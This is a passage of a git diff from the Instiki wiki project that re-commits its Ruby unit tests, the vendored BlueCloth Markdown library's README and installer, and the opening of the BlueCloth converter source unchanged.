:mode => :publish - assert_equal existing_page_published_url, - @web.make_link('EverBeenInLove', nil, :mode => :publish) - - # new page, no options - assert_equal new_page_wiki_url, @web.make_link('UnknownWord') - - # new page, :mode => :export - assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) - - # new page, :mode => :publish - assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) - - # Escaping special characters in the name - assert_equal( - 'Smith & Wesson?', - @web.make_link('Smith & Wesson')) - - # optionally using text as the link text - assert_equal( - existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), - @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) - - end - - def test_initialize - wiki_stub = Object.new - - web = Web.new(wiki_stub, 'Wiki2', 'wiki2', '123') - - assert_equal wiki_stub, web.wiki - assert_equal 'Wiki2', web.name - assert_equal 'wiki2', web.address - assert_equal '123', web.password - - # new web should be set for maximum features enabled - assert_equal :textile, web.markup - assert_equal '008B26', web.color - assert !web.safe_mode - assert_equal {}, web.pages - assert web.allow_uploads - assert_equal @wiki, web.parent_wiki - assert_nil web.additional_style - assert !web.published - assert !web.brackets_only - assert !web.count_pages - assert web.allow_uploads - end - - - private - - def add_sample_pages - @web.add_page(Page.new(@web, 'EverBeenInLove', 'Who am I me', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')) - @web.add_page(Page.new(@web, 'EverBeenHated', 'I am me EverBeenHated', - Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')) - end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_service' + +class WebTest < Test::Unit::TestCase + def setup + @web = Web.new nil, 'Instiki', 'instiki' + end + + def test_wiki_word_linking + @web.add_page(Page.new(@web, 'SecondPage', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + + assert_equal('

        Yo, yo. Have you Ever Been Hated' + + '?

        ', + @web.pages["SecondPage"].display_content) + + @web.add_page(Page.new(@web, 'EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, + 'DavidHeinemeierHansson')) + assert_equal('

        Yo, yo. Have you Ever Been Hated

        ', + @web.pages['SecondPage'].display_content) + end + + def test_pages_by_revision + add_sample_pages + assert_equal 'EverBeenHated', @web.select.by_revision.first.name + end + + def test_pages_by_match + add_sample_pages + assert_equal 2, @web.select { |page| page.content =~ /me/i }.length + assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length + assert_equal 0, @web.select { |page| page.content =~ /none/i }.length + end + + def test_references + add_sample_pages + assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length + assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length + end + + def test_delete + add_sample_pages + assert_equal 2, @web.pages.length + @web.remove_pages([ @web.pages['EverBeenInLove'] ]) + assert_equal 1, @web.pages.length + end + + def test_make_link + add_sample_pages + + existing_page_wiki_url = + 'Ever Been In Love' + existing_page_published_url = + 'Ever Been In Love' + existing_page_static_url = + 'Ever Been In Love' + new_page_wiki_url = + 'Unknown Word?' + new_page_published_url = + new_page_static_url = + 'Unknown Word' + + # no options + assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') + + # :mode => :export + assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) + + # :mode => :publish + assert_equal existing_page_published_url, + @web.make_link('EverBeenInLove', nil, :mode => :publish) + + # new page, no options + assert_equal new_page_wiki_url, @web.make_link('UnknownWord') + + # new page, :mode => :export + assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) + + # new page, :mode => :publish + assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) + + # Escaping special characters in the name + assert_equal( + 'Smith & Wesson?', + @web.make_link('Smith & Wesson')) + + # optionally using text as the link text + assert_equal( + existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), + @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) + + end + + def test_initialize + wiki_stub = Object.new + + web = Web.new(wiki_stub, 'Wiki2', 'wiki2', '123') + + assert_equal wiki_stub, web.wiki + assert_equal 'Wiki2', web.name + assert_equal 'wiki2', web.address + assert_equal '123', web.password + + # new web should be set for maximum features enabled + assert_equal :textile, web.markup + assert_equal '008B26', web.color + assert !web.safe_mode + assert_equal {}, web.pages + assert web.allow_uploads + assert_equal @wiki, web.parent_wiki + assert_nil web.additional_style + assert !web.published + assert !web.brackets_only + assert !web.count_pages + assert web.allow_uploads + end + + + private + + def add_sample_pages + @web.add_page(Page.new(@web, 'EverBeenInLove', 'Who am I me', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')) + @web.add_page(Page.new(@web, 'EverBeenHated', 'I am me EverBeenHated', + Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')) + end end \ No newline at end of file diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 8f3cec6a..d5f16246 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -1,116 +1,116 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_service' -require 'fileutils' - -class WikiServiceTest < Test::Unit::TestCase - - # Clean the test storage directory before the run - unless defined? @@storage_cleaned - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*']) - @@cleaned_storage = true - WikiService.instance.setup('pswd', 'Wiki', 'wiki') - end - - def setup - @s = WikiService.instance - @s.create_web 'Instiki', 'instiki' - @web = @s.webs['instiki'] - end - - def teardown - @s.delete_web 'instiki' - end - - def test_read_write_page - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content - end - - def test_read_only_operations - @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' + - 'state of any object, and therefore should not be logged by Madeleine!', - Time.now, 'AlexeyVerkhovsky' - - assert_doesnt_change_state_or_log :authenticate, 'pswd' - assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations' - assert_doesnt_change_state_or_log :setup? - assert_doesnt_change_state_or_log :webs - - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content - end - - def test_aborted_transaction - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - 10.minutes.ago, 'DavidHeinemeierHansson' - - assert_doesnt_change_state('revise_page with unchanged content') { - begin - @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - fail 'Expected Instiki::ValidationError not raised' - rescue Instiki::ValidationError - end - } - end - - def test_file_yard - file_yard = @s.file_yard(@web) - assert_equal FileYard, file_yard.class - assert_equal(@s.storage_path + '/instiki', file_yard.files_path) - end - - - # Checks that a method call or a block doesn;t change the persisted state of the wiki - # Usage: - # assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' - # or - # assert_doesnt_change_state {|wiki| wiki.webs} - - def assert_doesnt_change_state(method, *args, &block) - _assert_doesnt_change_state(including_command_log = false, method, *args, &block) - end - - # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated - def assert_doesnt_change_state_or_log(method, *args, &block) - _assert_doesnt_change_state(including_command_log = true, method, *args, &block) - end - - private - - def _assert_doesnt_change_state(including_log, method, *args) - WikiService.snapshot - last_snapshot_before = last_snapshot - - if block_given? - yield @s - else - @s.send(method, *args) - end - - if including_log - command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] - assert command_logs.empty?, "Calls to #{method} should not be logged" - end - - last_snapshot_after = last_snapshot - assert last_snapshot_before == last_snapshot_after, - 'Calls to #{method} should not change the state of any persisted object' - end - - def last_snapshot - snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot'] - assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/" - File.read(snapshots.last) - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_service' +require 'fileutils' + +class WikiServiceTest < Test::Unit::TestCase + + # Clean the test storage directory before the run + unless defined? @@storage_cleaned + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*']) + @@cleaned_storage = true + WikiService.instance.setup('pswd', 'Wiki', 'wiki') + end + + def setup + @s = WikiService.instance + @s.create_web 'Instiki', 'instiki' + @web = @s.webs['instiki'] + end + + def teardown + @s.delete_web 'instiki' + end + + def test_read_write_page + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end + + def test_read_only_operations + @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' + + 'state of any object, and therefore should not be logged by Madeleine!', + Time.now, 'AlexeyVerkhovsky' + + assert_doesnt_change_state_or_log :authenticate, 'pswd' + assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations' + assert_doesnt_change_state_or_log :setup? + assert_doesnt_change_state_or_log :webs + + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end + + def test_aborted_transaction + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + 10.minutes.ago, 'DavidHeinemeierHansson' + + assert_doesnt_change_state('revise_page with unchanged content') { + begin + @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + fail 'Expected Instiki::ValidationError not raised' + rescue Instiki::ValidationError + end + } + end + + def test_file_yard + file_yard = @s.file_yard(@web) + assert_equal FileYard, file_yard.class + assert_equal(@s.storage_path + '/instiki', file_yard.files_path) + end + + + # Checks that a method call or a block doesn;t change the persisted state of the wiki + # Usage: + # assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' + # or + # assert_doesnt_change_state {|wiki| wiki.webs} + + def assert_doesnt_change_state(method, *args, &block) + _assert_doesnt_change_state(including_command_log = false, method, *args, &block) + end + + # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated + def assert_doesnt_change_state_or_log(method, *args, &block) + _assert_doesnt_change_state(including_command_log = true, method, *args, &block) + end + + private + + def _assert_doesnt_change_state(including_log, method, *args) + WikiService.snapshot + last_snapshot_before = last_snapshot + + if block_given? + yield @s + else + @s.send(method, *args) + end + + if including_log + command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] + assert command_logs.empty?, "Calls to #{method} should not be logged" + end + + last_snapshot_after = last_snapshot + assert last_snapshot_before == last_snapshot_after, + 'Calls to #{method} should not change the state of any persisted object' + end + + def last_snapshot + snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot'] + assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/" + File.read(snapshots.last) + end + +end diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb index bde3eeac..a1aa1ff9 100755 --- a/test/unit/wiki_words_test.rb +++ b/test/unit/wiki_words_test.rb @@ -1,14 +1,14 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_words' - -class WikiWordsTest < Test::Unit::TestCase - - def test_utf8_characters_in_wiki_word - assert_equal "Æåle Øen", WikiWords.separate("ÆåleØen") - assert_equal "ÆÅØle Øen", WikiWords.separate("ÆÅØleØen") - assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen") - assert_equal "Legetøj", WikiWords.separate("Legetøj") - end -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_words' + +class WikiWordsTest < Test::Unit::TestCase + + def test_utf8_characters_in_wiki_word + assert_equal "Æåle Øen", WikiWords.separate("ÆåleØen") + assert_equal "ÆÅØle Øen", WikiWords.separate("ÆÅØleØen") + assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen") + assert_equal "Legetøj", WikiWords.separate("Legetøj") + end +end diff --git a/vendor/bluecloth-1.0.0/README b/vendor/bluecloth-1.0.0/README index f4021044..3f6e5750 100755 --- a/vendor/bluecloth-1.0.0/README +++ b/vendor/bluecloth-1.0.0/README @@ -1,99 +1,99 @@ - -BlueCloth -========= - -Version 1.0.0 - 2004/08/24 - -Original version by John Gruber . -Ruby port by Michael Granger . - -BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion -tool for web writers. To quote from the project page: Markdown allows you to -write using an easy-to-read, easy-to-write plain text format, then convert it to -structurally valid XHTML (or HTML). - -It borrows a naming convention and several helpings of interface from -[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML -conversion syntax called [Textile][4]. - - -Installation ------------- - -You can install this module either by running the included `install.rb` script, -or by simply copying `lib/bluecloth.rb` to a directory in your load path. - - -Dependencies ------------- - -BlueCloth uses the `StringScanner` class from the `strscan` library, which comes -with Ruby 1.8.x and later or may be downloaded from the RAA for earlier -versions, and the `logger` library, which is also included in 1.8.x and later. - - -Example Usage -------------- - -The BlueCloth class is a subclass of Ruby's String, and can be used thusly: - - bc = BlueCloth::new( str ) - puts bc.to_html - -This `README` file is an example of Markdown syntax. The sample program -`bluecloth` in the `bin/` directory can be used to convert this (or any other) -file with Markdown syntax into HTML: - - $ bin/bluecloth README > README.html - - -Acknowledgements ----------------- - -This library is a port of the canonical Perl one, and so owes most of its -functionality to its author, John Gruber. The bugs in this code are most -certainly an artifact of my porting it and not an artifact of the excellent code -from which it is derived. - -It also, as mentioned before, borrows its API liberally from RedCloth, both for -compatibility's sake, and because I think Why's code is beautiful. His excellent -code and peerless prose have been an inspiration to me, and this module is -intended as the sincerest flattery. - -Also contributing to any success this module may enjoy are those among my peers -who have taken the time to help out, either by submitting patches, testing, or -offering suggestions and review: - -* Martin Chase -* Florian Gross - - -Author/Legal ------------- - -Original version: -Copyright (c) 2003-2004 John Gruber - -All rights reserved. - -Ruby version: -Copyright (c) 2004 The FaerieMUD Consortium - -BlueCloth is free software; you can redistribute it and/or modify it under the -terms of the GNU General Public License as published by the Free Software -Foundation; either version 2 of the License, or (at your option) any later -version. - -BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A -PARTICULAR PURPOSE. See the GNU General Public License for more details. - - - [1]: http://daringfireball.net/projects/markdown/ - [2]: http://www.whytheluckystiff.net/ruby/redcloth/ - [3]: http://www.whytheluckystiff.net/ - [4]: http://www.textism.com/tools/textile/ - - -$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $ + +BlueCloth +========= + +Version 1.0.0 - 2004/08/24 + +Original version by John Gruber . +Ruby port by Michael Granger . + +BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion +tool for web writers. To quote from the project page: Markdown allows you to +write using an easy-to-read, easy-to-write plain text format, then convert it to +structurally valid XHTML (or HTML). + +It borrows a naming convention and several helpings of interface from +[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML +conversion syntax called [Textile][4]. + + +Installation +------------ + +You can install this module either by running the included `install.rb` script, +or by simply copying `lib/bluecloth.rb` to a directory in your load path. + + +Dependencies +------------ + +BlueCloth uses the `StringScanner` class from the `strscan` library, which comes +with Ruby 1.8.x and later or may be downloaded from the RAA for earlier +versions, and the `logger` library, which is also included in 1.8.x and later. + + +Example Usage +------------- + +The BlueCloth class is a subclass of Ruby's String, and can be used thusly: + + bc = BlueCloth::new( str ) + puts bc.to_html + +This `README` file is an example of Markdown syntax. The sample program +`bluecloth` in the `bin/` directory can be used to convert this (or any other) +file with Markdown syntax into HTML: + + $ bin/bluecloth README > README.html + + +Acknowledgements +---------------- + +This library is a port of the canonical Perl one, and so owes most of its +functionality to its author, John Gruber. The bugs in this code are most +certainly an artifact of my porting it and not an artifact of the excellent code +from which it is derived. + +It also, as mentioned before, borrows its API liberally from RedCloth, both for +compatibility's sake, and because I think Why's code is beautiful. His excellent +code and peerless prose have been an inspiration to me, and this module is +intended as the sincerest flattery. + +Also contributing to any success this module may enjoy are those among my peers +who have taken the time to help out, either by submitting patches, testing, or +offering suggestions and review: + +* Martin Chase +* Florian Gross + + +Author/Legal +------------ + +Original version: +Copyright (c) 2003-2004 John Gruber + +All rights reserved. + +Ruby version: +Copyright (c) 2004 The FaerieMUD Consortium + +BlueCloth is free software; you can redistribute it and/or modify it under the +terms of the GNU General Public License as published by the Free Software +Foundation; either version 2 of the License, or (at your option) any later +version. + +BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A +PARTICULAR PURPOSE. See the GNU General Public License for more details. + + + [1]: http://daringfireball.net/projects/markdown/ + [2]: http://www.whytheluckystiff.net/ruby/redcloth/ + [3]: http://www.whytheluckystiff.net/ + [4]: http://www.textism.com/tools/textile/ + + +$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $ diff --git a/vendor/bluecloth-1.0.0/install.rb b/vendor/bluecloth-1.0.0/install.rb index d8708eb6..ab57d333 100755 --- a/vendor/bluecloth-1.0.0/install.rb +++ b/vendor/bluecloth-1.0.0/install.rb @@ -1,150 +1,150 @@ -#!/usr/bin/ruby -# -# BlueCloth Module Install Script -# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Thanks to Masatoshi SEKI for ideas found in his install.rb. -# -# Copyright (c) 2001-2004 The FaerieMUD Consortium. -# -# This is free software. You may use, modify, and/or redistribute this -# software under the terms of the Perl Artistic License. (See -# http://language.perl.com/misc/Artistic.html) -# - -require './utils.rb' -include UtilityFunctions - -require 'rbconfig' -include Config - -require 'find' -require 'ftools' - - -$version = %q$Revision: 1.1 $ -$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ - -# Define required libraries -RequiredLibraries = [ - # libraryname, nice name, RAA URL, Download URL - [ 'strscan', "StrScan", - 'http://raa.ruby-lang.org/list.rhtml?name=strscan', - 'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ], - [ 'logger', "Devel-Logger", - 'http://raa.ruby-lang.org/list.rhtml?name=devel-logger', - 'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ], -] - -class Installer - - @@PrunePatterns = [ - /CVS/, - /~$/, - %r:(^|/)\.:, - /\.tpl$/, - ] - - def initialize( testing=false ) - @ftools = (testing) ? self : File - end - - ### Make the specified dirs (which can be a String or an Array of Strings) - ### with the specified mode. - def makedirs( dirs, mode=0755, verbose=false ) - dirs = [ dirs ] unless dirs.is_a? Array - - oldumask = File::umask - File::umask( 0777 - mode ) - - for dir in dirs - if @ftools == File - File::mkpath( dir, $verbose ) - else - $stderr.puts "Make path %s with mode %o" % [ dir, mode ] - end - end - - File::umask( oldumask ) - end - - def install( srcfile, dstfile, mode=nil, verbose=false ) - dstfile = File.catname(srcfile, dstfile) - unless FileTest.exist? dstfile and File.cmp srcfile, dstfile - $stderr.puts " install #{srcfile} -> #{dstfile}" - else - $stderr.puts " skipping #{dstfile}: unchanged" - end - end - - public - - def installFiles( src, dstDir, mode=0444, verbose=false ) - directories = [] - files = [] - - if File.directory?( src ) - Find.find( src ) {|f| - Find.prune if @@PrunePatterns.find {|pat| f =~ pat} - next if f == src - - if FileTest.directory?( f ) - directories << f.gsub( /^#{src}#{File::Separator}/, '' ) - next - - elsif FileTest.file?( f ) - files << f.gsub( /^#{src}#{File::Separator}/, '' ) - - else - Find.prune - end - } - else - files << File.basename( src ) - src = File.dirname( src ) - end - - dirs = [ dstDir ] - dirs |= directories.collect {|d| File.join(dstDir,d)} - makedirs( dirs, 0755, verbose ) - files.each {|f| - srcfile = File.join(src,f) - dstfile = File.dirname(File.join( dstDir,f )) - - if verbose - if mode - $stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode - else - $stderr.puts "Install #{srcfile} -> #{dstfile}" - end - end - - @ftools.install( srcfile, dstfile, mode, verbose ) - } - end - -end - -if $0 == __FILE__ - header "BlueCloth Installer #$version" - - for lib in RequiredLibraries - testForRequiredLibrary( *lib ) - end - - viewOnly = ARGV.include? '-n' - verbose = ARGV.include? '-v' - - debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'" - sitelibdir = CONFIG['sitelibdir'] - debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'" - sitearchdir = CONFIG['sitearchdir'] - - message "Installing\n" - i = Installer.new( viewOnly ) - i.installFiles( "lib", sitelibdir, 0444, verbose ) -end - - - - +#!/usr/bin/ruby +# +# BlueCloth Module Install Script +# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Thanks to Masatoshi SEKI for ideas found in his install.rb. +# +# Copyright (c) 2001-2004 The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + +require './utils.rb' +include UtilityFunctions + +require 'rbconfig' +include Config + +require 'find' +require 'ftools' + + +$version = %q$Revision: 1.1 $ +$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ + +# Define required libraries +RequiredLibraries = [ + # libraryname, nice name, RAA URL, Download URL + [ 'strscan', "StrScan", + 'http://raa.ruby-lang.org/list.rhtml?name=strscan', + 'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ], + [ 'logger', "Devel-Logger", + 'http://raa.ruby-lang.org/list.rhtml?name=devel-logger', + 'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ], +] + +class Installer + + @@PrunePatterns = [ + /CVS/, + /~$/, + %r:(^|/)\.:, + /\.tpl$/, + ] + + def initialize( testing=false ) + @ftools = (testing) ? self : File + end + + ### Make the specified dirs (which can be a String or an Array of Strings) + ### with the specified mode. + def makedirs( dirs, mode=0755, verbose=false ) + dirs = [ dirs ] unless dirs.is_a? Array + + oldumask = File::umask + File::umask( 0777 - mode ) + + for dir in dirs + if @ftools == File + File::mkpath( dir, $verbose ) + else + $stderr.puts "Make path %s with mode %o" % [ dir, mode ] + end + end + + File::umask( oldumask ) + end + + def install( srcfile, dstfile, mode=nil, verbose=false ) + dstfile = File.catname(srcfile, dstfile) + unless FileTest.exist? dstfile and File.cmp srcfile, dstfile + $stderr.puts " install #{srcfile} -> #{dstfile}" + else + $stderr.puts " skipping #{dstfile}: unchanged" + end + end + + public + + def installFiles( src, dstDir, mode=0444, verbose=false ) + directories = [] + files = [] + + if File.directory?( src ) + Find.find( src ) {|f| + Find.prune if @@PrunePatterns.find {|pat| f =~ pat} + next if f == src + + if FileTest.directory?( f ) + directories << f.gsub( /^#{src}#{File::Separator}/, '' ) + next + + elsif FileTest.file?( f ) + files << f.gsub( /^#{src}#{File::Separator}/, '' ) + + else + Find.prune + end + } + else + files << File.basename( src ) + src = File.dirname( src ) + end + + dirs = [ dstDir ] + dirs |= directories.collect {|d| File.join(dstDir,d)} + makedirs( dirs, 0755, verbose ) + files.each {|f| + srcfile = File.join(src,f) + dstfile = File.dirname(File.join( dstDir,f )) + + if verbose + if mode + $stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode + else + $stderr.puts "Install #{srcfile} -> #{dstfile}" + end + end + + @ftools.install( srcfile, dstfile, mode, verbose ) + } + end + +end + +if $0 == __FILE__ + header "BlueCloth Installer #$version" + + for lib in RequiredLibraries + testForRequiredLibrary( *lib ) + end + + viewOnly = ARGV.include? '-n' + verbose = ARGV.include? '-v' + + debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'" + sitelibdir = CONFIG['sitelibdir'] + debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'" + sitearchdir = CONFIG['sitearchdir'] + + message "Installing\n" + i = Installer.new( viewOnly ) + i.installFiles( "lib", sitelibdir, 0444, verbose ) +end + + + + diff --git a/vendor/bluecloth-1.0.0/lib/bluecloth.rb b/vendor/bluecloth-1.0.0/lib/bluecloth.rb index 4aa44d25..00be883a 100755 --- a/vendor/bluecloth-1.0.0/lib/bluecloth.rb +++ b/vendor/bluecloth-1.0.0/lib/bluecloth.rb @@ -1,1144 +1,1144 @@ -#!/usr/bin/ruby -# -# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion -# tool. -# -# == Synopsis -# -# doc = BlueCloth::new " -# ## Test document ## -# -# Just a simple test. -# " -# -# puts doc.to_html -# -# == Authors -# -# * Michael Granger -# -# == Contributors -# -# * Martin Chase - Peer review, helpful suggestions -# * Florian Gross - Filter options, suggestions -# -# == Copyright -# -# Original version: -# Copyright (c) 2003-2004 John Gruber -# -# All rights reserved. -# -# Ruby port: -# Copyright (c) 2004 The FaerieMUD Consortium. -# -# BlueCloth is free software; you can redistribute it and/or modify it under the -# terms of the GNU General Public License as published by the Free Software -# Foundation; either version 2 of the License, or (at your option) any later -# version. -# -# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR -# A PARTICULAR PURPOSE. See the GNU General Public License for more details. -# -# == To-do -# -# * Refactor some of the larger uglier methods that have to do their own -# brute-force scanning because of lack of Perl features in Ruby's Regexp -# class. Alternately, could add a dependency on 'pcre' and use most Perl -# regexps. -# -# * Put the StringScanner in the render state for thread-safety. -# -# == Version -# -# $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# - -require 'digest/md5' -require 'logger' -require 'strscan' - - -### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion -### tool. -class BlueCloth < String - - ### Exception class for formatting errors. - class FormatError < RuntimeError - - ### Create a new FormatError with the given source +str+ and an optional - ### message about the +specific+ error. - def initialize( str, specific=nil ) - if specific - msg = "Bad markdown format near %p: %s" % [ str, specific ] - else - msg = "Bad markdown format near %p" % str - end - - super( msg ) - end - end - - - # Release Version - Version = '0.0.3' - - # SVN Revision - SvnRev = %q$Rev: 69 $ - - # SVN Id tag - SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ - - # SVN URL - SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $ - - - # Rendering state struct. Keeps track of URLs, titles, and HTML blocks - # midway through a render. I prefer this to the globals of the Perl version - # because globals make me break out in hives. Or something. - RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log ) - - # Tab width for #detab! if none is specified - TabWidth = 4 - - # The tag-closing string -- set to '>' for HTML - EmptyElementSuffix = "/>"; - - # Table of MD5 sums for escaped characters - EscapeTable = {} - '\\`*_{}[]()#.!'.split(//).each {|char| - hash = Digest::MD5::hexdigest( char ) - - EscapeTable[ char ] = { - :md5 => hash, - :md5re => Regexp::new( hash ), - :re => Regexp::new( '\\\\' + Regexp::escape(char) ), - } - } - - - ################################################################# - ### I N S T A N C E M E T H O D S - ################################################################# - - ### Create a new BlueCloth string. - def initialize( content="", *restrictions ) - @log = Logger::new( $deferr ) - @log.level = $DEBUG ? - Logger::DEBUG : - ($VERBOSE ? Logger::INFO : Logger::WARN) - @scanner = nil - - # Add any restrictions, and set the line-folding attribute to reflect - # what happens by default. - @filter_html = nil - @filter_styles = nil - restrictions.flatten.each {|r| __send__("#{r}=", true) } - @fold_lines = true - - super( content ) - - @log.debug "String is: %p" % self - end - - - ###### - public - ###### - - # Filters for controlling what gets output for untrusted input. (But really, - # you're filtering bad stuff out of untrusted input at submission-time via - # untainting, aren't you?) - attr_accessor :filter_html, :filter_styles - - # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax, - # so this isn't used by anything. - attr_accessor :fold_lines - - - ### Render Markdown-formatted text in this string object as HTML and return - ### it. The parameter is for compatibility with RedCloth, and is currently - ### unused, though that may change in the future. - def to_html( lite=false ) - - # Create a StringScanner we can reuse for various lexing tasks - @scanner = StringScanner::new( '' ) - - # Make a structure to carry around stuff that gets placeholdered out of - # the source. - rs = RenderState::new( {}, {}, {} ) - - # Make a copy of the string with normalized line endings, tabs turned to - # spaces, and a couple of guaranteed newlines at the end - text = self.gsub( /\r\n?/, "\n" ).detab - text += "\n\n" - @log.debug "Normalized line-endings: %p" % text - - # Filter HTML if we're asked to do so - if self.filter_html - text.gsub!( "<", "<" ) - text.gsub!( ">", ">" ) - @log.debug "Filtered HTML: %p" % text - end - - # Simplify blank lines - text.gsub!( /^ +$/, '' ) - @log.debug "Tabs -> spaces/blank lines stripped: %p" % text - - # Replace HTML blocks with placeholders - text = hide_html_blocks( text, rs ) - 